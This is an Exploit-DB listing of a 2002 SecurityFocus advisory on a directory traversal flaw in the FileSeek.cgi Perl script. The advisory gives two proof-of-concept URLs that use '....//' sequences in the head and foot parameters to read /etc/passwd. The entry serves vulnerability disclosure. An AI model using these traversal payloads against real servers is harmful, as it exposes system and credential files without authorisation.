FileSeek - CGI Script File Disclosure

EDB-ID:

22228


Platform:

CGI

Published:

2002-04-16

source: http://www.securityfocus.com/bid/6784/info

FileSeek is an example cgi-script from "The CGI/Perl Cookbook from John Wiley &
Sons". The script is written and maintained by Craig Patchett. It is mainly used to find and download files on a web server.

FileSeek.cgi and FileSeek2.cgi are prone to a file disclosure vulnerability. It is possible for a remote attacker to submit a maliciously crafted web request which is capable of breaking out of the wwwroot directory and browsing arbitrary web-readable files on a host running the vulnerable script.

http://host/cgi-bin/FileSeek.cgi?head=&foot=....//....//....//....//....
//....//....//etc/passwd
http://host/cgi-bin/FileSeek.cgi?head=....//....//....//....//....//....
//....//etc/passwd&foot=